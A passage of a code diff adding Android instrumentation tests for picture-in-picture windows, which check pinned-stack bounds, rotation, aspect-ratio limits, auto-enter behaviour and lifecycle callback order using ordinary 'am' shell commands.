+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+
+ // Tap the screen at a known location in the pinned stack bounds, and ensure that it is
+ // not passed down to the top task
+ tapToFinishPip();
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+ }
+
+ @Test
+ public void testPinnedStackDefaultBounds() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a PIP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+ setDeviceRotation(ROTATION_0);
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+ assertTrue(stableBounds.contains(defaultPipBounds));
+
+ setDeviceRotation(ROTATION_90);
+ wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+ stableBounds = wmState.getStableBounds();
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+ assertTrue(stableBounds.contains(defaultPipBounds));
+ setDeviceRotation(ROTATION_0);
+ }
+
+ @Test
+ public void testPinnedStackMovementBounds() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a PIP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+ setDeviceRotation(ROTATION_0);
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+ assertTrue(stableBounds.contains(pipMovementBounds));
+
+ setDeviceRotation(ROTATION_90);
+ wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ pipMovementBounds = wmState.getPinnedStackMomentBounds();
+ stableBounds = wmState.getStableBounds();
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+ assertTrue(stableBounds.contains(pipMovementBounds));
+ setDeviceRotation(ROTATION_0);
+ }
+
+ @Test
+ public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
+ if (!supportsPip()) return;
+
+ final WindowManagerState wmState = mAmWmState.getWmState();
+
+ // Launch an activity into the pinned stack
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_TAP_TO_FINISH, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+ // Get the display dimensions
+ WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
+ WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
+ Rect displayRect = display.getDisplayRect();
+
+ // Move the pinned stack offscreen
+ String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
+ displayRect.width() - 200, 0, displayRect.width() + 200, 500);
+ executeShellCommand(moveStackOffscreenCommand);
+
+ // Ensure that the surface insets are not negative
+ windowState = getWindowState(PIP_ACTIVITY);
+ Rect contentInsets = windowState.getContentInsets();
+ if (contentInsets != null) {
+ assertTrue(contentInsets.left >= 0 && contentInsets.top >= 0
+ && contentInsets.width() >= 0 && contentInsets.height() >= 0);
+ }
+ }
+
+ @Test
+ public void testPinnedStackInBoundsAfterRotation() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch an activity into the pinned stack
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_TAP_TO_FINISH, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+ // Ensure that the PIP stack is fully visible in each orientation
+ setDeviceRotation(ROTATION_0);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ setDeviceRotation(ROTATION_90);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ setDeviceRotation(ROTATION_180);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ setDeviceRotation(ROTATION_270);
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ setDeviceRotation(ROTATION_0);
+ }
+
+ @Test
+ public void testEnterPipToOtherOrientation() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a portrait only app on the fullscreen stack
+ launchActivity(TEST_ACTIVITY,
+ EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
+ // Launch the PiP activity fixed as landscape
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
+ // Enter PiP, and assert that the PiP is within bounds now that the device is back in
+ // portrait
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+ assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+ }
+
+ @Test
+ public void testEnterPipAspectRatioMin() throws Exception {
+ testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testEnterPipAspectRatioMax() throws Exception {
+ testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ private void testEnterPipAspectRatio(int num, int denom) throws Exception {
+ if (!supportsPip()) return;
+
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+ EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+ assertPinnedStackExists();
+
+ // Assert that we have entered PIP and that the aspect ratio is correct
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) num / denom);
+ }
+
+ @Test
+ public void testResizePipAspectRatioMin() throws Exception {
+ testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testResizePipAspectRatioMax() throws Exception {
+ testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ private void testResizePipAspectRatio(int num, int denom) throws Exception {
+ if (!supportsPip()) return;
+
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+ EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+ assertPinnedStackExists();
+ waitForValidAspectRatio(num, denom);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+ }
+
+ @Test
+ public void testEnterPipExtremeAspectRatioMin() throws Exception {
+ testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+ BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testEnterPipExtremeAspectRatioMax() throws Exception {
+ testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+ MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
+ if (!supportsPip()) return;
+
+ // Assert that we could not create a pinned stack with an extreme aspect ratio
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+ EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testSetPipExtremeAspectRatioMin() throws Exception {
+ testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+ BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testSetPipExtremeAspectRatioMax() throws Exception {
+ testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+ MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
+ if (!supportsPip()) return;
+
+ // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
+ // fails (the aspect ratio remains the same)
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+ Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+ EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
+ Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
+ EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+ EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+ assertPinnedStackExists();
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the bottom pip activity
+ launchActivity(PIP_ON_STOP_ACTIVITY);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+ // Wait for the bottom pip activity to be stopped
+ mAmWmState.waitForActivityState(PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
+
+ // Assert that there is no pinned stack (that enterPictureInPicture() failed)
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testAutoEnterPictureInPicture() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity on pause
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Go home and ensure that there is a pinned stack
+ launchHomeActivity();
+ assertPinnedStackExists();
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity on pause, and have it start another activity on
+ // top of itself. Wait for the new activity to be visible and ensure that the pinned stack
+ // was not created in the process
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP_ON_PAUSE, "true",
+ EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
+ assertPinnedStackDoesNotExist();
+
+ // Go home while the pip activity is open and ensure the previous activity is not PIPed
+ launchHomeActivity();
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureFinish() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch the PIP activity on pause, and set it to finish itself after
+ // some period. Wait for the previous activity to be visible, and ensure that the pinned
+ // stack was not created in the process
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP_ON_PAUSE, "true",
+ EXTRA_FINISH_SELF_ON_RESUME, "true");
+ assertPinnedStackDoesNotExist();
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the PIP activity on pause, and set the aspect ratio
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP_ON_PAUSE, "true",
+ EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+ EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
+
+ // Go home while the pip activity is open to trigger auto-PIP
+ launchHomeActivity();
+ assertPinnedStackExists();
+
+ waitForValidAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
+ }
+
+ @Test
+ public void testAutoEnterPictureInPictureOverPip() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch another PIP activity
+ launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+
+ // Launch the PIP activity on pause
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+
+ // Go home while the PIP activity is open to trigger auto-enter PIP
+ launchHomeActivity();
+ assertPinnedStackExists();
+
+ // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
+ // still the first activity
+ final ActivityStack pinnedStack =
+ mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+ assertTrue(pinnedStack.getTasks().size() == 1);
+ assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+ ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
+ }
+
+ @Presubmit
+ @Test
+ public void testDisallowMultipleTasksInPinnedStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a test activity so that we have multiple fullscreen tasks
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch first PIP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+ // Launch second PIP activity
+ launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
+
+ final ActivityStack pinnedStack =
+ mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+ assertEquals(1, pinnedStack.getTasks().size());
+
+ assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+ PIP_ACTIVITY2)));
+
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+ }
+
+ @Test
+ public void testPipUnPipOverHome() throws Exception {
+ if (!supportsPip()) return;
+
+ // Go home
+ launchHomeActivity();
+ // Launch an auto pip activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_REENTER_PIP_ON_EXIT, "true");
+ assertPinnedStackExists();
+
+ // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+ launchActivity(PIP_ACTIVITY);
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+ == WINDOWING_MODE_FULLSCREEN;
+ }, "Waiting for PIP to exit to fullscreen");
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
+ }, "Waiting to re-enter PIP");
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ @Test
+ public void testPipUnPipOverApp() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a test activity so that we're not over home
+ launchActivity(TEST_ACTIVITY);
+
+ // Launch an auto pip activity
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_REENTER_PIP_ON_EXIT, "true");
+ assertPinnedStackExists();
+
+ // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+ launchActivity(PIP_ACTIVITY);
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+ == WINDOWING_MODE_FULLSCREEN;
+ }, "Waiting for PIP to exit to fullscreen");
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
+ }, "Waiting to re-enter PIP");
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ }
+
+ @Presubmit
+ @Test
+ public void testRemovePipWithNoFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Start with a clean slate, remove all the stacks but home
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+ // Launch a pip activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+ // fullscreen stack existed before)
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ @Presubmit
+ @Test
+ public void testRemovePipWithVisibleFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity, and a pip activity over that
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+ // top fullscreen activity
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Presubmit
+ @Test
+ public void testRemovePipWithHiddenFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+ // launch a pip activity over home
+ launchActivity(TEST_ACTIVITY);
+ launchHomeActivity();
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+ // stack, but that the home stack is still focused
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ @Test
+ public void testMovePipToBackWithNoFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Start with a clean slate, remove all the stacks but home
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+ // Launch a pip activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+ // fullscreen stack existed before)
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ @Presubmit
+ @Test
+ public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity, and a pip activity over that
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+ // top fullscreen activity
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+ assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+ WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Presubmit
+ @Test
+ public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+ // launch a pip activity over home
+ launchActivity(TEST_ACTIVITY);
+ launchHomeActivity();
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+ // stack, but that the home stack is still focused
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+ assertPinnedStackStateOnMoveToFullscreen(
+ PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ @Test
+ public void testPinnedStackAlwaysOnTop() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch activity into pinned stack and assert it's on top.
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+ assertPinnedStackIsOnTop();
+
+ // Launch another activity in fullscreen stack and check that pinned stack is still on top.
+ launchActivity(TEST_ACTIVITY);
+ assertPinnedStackExists();
+ assertPinnedStackIsOnTop();
+
+ // Launch home and check that pinned stack is still on top.
+ launchHomeActivity();
+ assertPinnedStackExists();
+ assertPinnedStackIsOnTop();
+ }
+
+ @Test
+ public void testAppOpsDenyPipOnPause() throws Exception {
+ if (!supportsPip()) return;
+
+ // Disable enter-pip and try to enter pip
+ setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
+
+ // Launch the PIP activity on pause
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackDoesNotExist();
+
+ // Go home and ensure that there is no pinned stack
+ launchHomeActivity();
+ assertPinnedStackDoesNotExist();
+
+ // Re-enable enter-pip-on-hide
+ setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
+ }
+
+ @Test
+ public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
+ if (!supportsPip()) return;
+
+ // Try to enter picture-in-picture from an activity that has more than one activity in the
+ // task and ensure that it works
+ launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+ }
+
+ @Test
+ public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
+ if (!supportsPip()) return;
+
+ /*
+ * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
+ * stopped and actually went into the pinned stack.
+ *
+ * Note that this is a workaround because to trigger the path that we want to happen in
+ * activity manager, we need to add the leaving activity to the stopping state, which only
+ * happens when a hidden stack is brought forward. Normally, this happens when you go home,
+ * but since we can't launch into the home stack directly, we have a workaround.
+ *
+ * 1) Launch an activity in a new dynamic stack
+ * 2) Resize the dynamic stack to non-fullscreen bounds
+ * 3) Start the PiP activity that will enter picture-in-picture when paused in the
+ * fullscreen stack
+ * 4) Bring the activity in the dynamic stack forward to trigger PiP
+ */
+ int stackId = launchActivityInNewDynamicStack(RESUME_WHILE_PAUSING_ACTIVITY);
+ resizeStack(stackId, 0, 0, 500, 500);
+ // Launch an activity that will enter PiP when it is paused with a delay that is long enough
+ // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
+ // trigger the current system pause timeout (currently 500ms)
+ launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+ EXTRA_ENTER_PIP_ON_PAUSE, "true",
+ EXTRA_ON_PAUSE_DELAY, "350",
+ EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+ launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+ assertPinnedStackExists();
+ }
+
+ @Test
+ public void testDisallowEnterPipActivityLocked() throws Exception {
+ if (!supportsPip()) return;
+
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+ ActivityTask task = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+ // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
+ // when paused
+ executeShellCommand("am task lock " + task.mTaskId);
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackDoesNotExist();
+ launchHomeActivity();
+ assertPinnedStackDoesNotExist();
+ executeShellCommand("am task lock stop");
+ }
+
+ @Presubmit
+ @Test
+ public void testConfigurationChangeOrderDuringTransition() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a PiP activity and ensure configuration change only happened once, and that the
+ // configuration change happened after the picture-in-picture and multi-window callbacks
+ launchActivity(PIP_ACTIVITY);
+ String logSeparator = clearLogcat();
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+ waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
+ assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+
+ // Trigger it to go back to fullscreen and ensure that only triggered one configuration
+ // change as well
+ logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY);
+ waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
+ assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+ }
+
+ @Test
+ public void testEnterPipInterruptedCallbacks() throws Exception {
+ if (!supportsPip()) return;
+
+ // Slow down the transition animations for this test
+ setWindowTransitionAnimationDurationScale(20);
+
+ // Launch a PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ // Wait until the PiP activity has moved into the pinned stack (happens before the
+ // transition has started)
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ assertPinnedStackExists();
+
+ // Relaunch the PiP activity back into fullscreen
+ String logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY);
+ // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
+ // transition has finished)
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+
+ // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+ // configuration change (since none was sent)
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+ PIP_ACTIVITY, logSeparator);
+ assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
+ assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
+ assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
+
+ // Reset the animation scale
+ setWindowTransitionAnimationDurationScale(1);
+ }
+
+ @Presubmit
+ @Test
+ public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch a PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ assertPinnedStackExists();
+
+ // Dismiss it
+ String logSeparator = clearLogcat();
+ removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+ mAmWmState.waitForValidState(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+
+ // Confirm that we get stop before the multi-window and picture-in-picture mode change
+ // callbacks
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+ logSeparator);
+ if (lifecycleCounts.mStopCount != 1) {
+ fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mStopCount
+ + " onStop() calls, expecting 1");
+ } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+ fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+ + " onPictureInPictureModeChanged() calls, expecting 1");
+ } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+ fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+ + " onMultiWindowModeChanged() calls, expecting 1");
+ } else {
+ int lastStopLine = lifecycleCounts.mLastStopLineIndex;
+ int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+ int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+ if (!(lastStopLine < lastPipLine && lastPipLine < lastMwLine)) {
+ fail(PIP_ACTIVITY + " has received callbacks in unexpected order. Expected:"
+ + " stop < pip < mw, but got line indices: " + lastStopLine + ", "
+ + lastPipLine + ", " + lastMwLine + " respectively");
+ }
+ }
+ }
+
+ @Test
